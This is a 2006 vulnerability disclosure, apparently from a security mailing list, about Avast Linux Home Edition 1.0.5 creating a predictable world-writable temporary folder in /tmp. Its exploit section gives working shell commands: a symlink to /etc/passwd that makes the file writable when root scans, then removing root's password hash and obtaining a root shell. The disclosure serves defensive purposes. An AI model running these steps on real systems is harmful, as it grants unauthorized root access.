Avast Linux Home Edition (vulnerability on a temporary folder creation) Apr 14 2006 07:12PM
Julien L. (jlanthea hotmail com)
Title : Avast Linux Home Edition, vulnerability on a temporary folder
Protuct : Avast! Linux Home Edition
Product : http://www.avast.com/eng/download-avast-for-linux-edition.html
Version : 1.0.5, 1.0.5-1
Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3).

Introduction :
Avast Linux Home Edition represents an antivirus solution for the Linux
When it scans for virus, it creates a temporary directory in /tmp in an
manner and gives it an chmod equal to 1777.

Exploit :
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1476 avr 14 15:30 /etc/passwd
$ ln -s /etc/passwd /tmp/_avast4_
$ ll /tmp/_avast4_
lrwxrwxrwx 1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd
Waiting for user root to scan for virus (example: # avast -d /bin)
$ ls -l /etc/passwd
-rwxrwxrwt 1 root root 1476 avr 14 15:55 /etc/passwd (Oops!)
$ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out
$ cat /tmp/a.out > /etc/passwd
$ su -
# id
uid=0(root) gid=0(root)

Note :
When the root user is launching avast for the first time, the "_avast4_"
is not erased when virus scan is finished, so it may be difficult for a user
to create
the symbolic link. But we must not forget that distribs usualy clean there
/tmp folder
via the tmpwatch utility.

Julian L.

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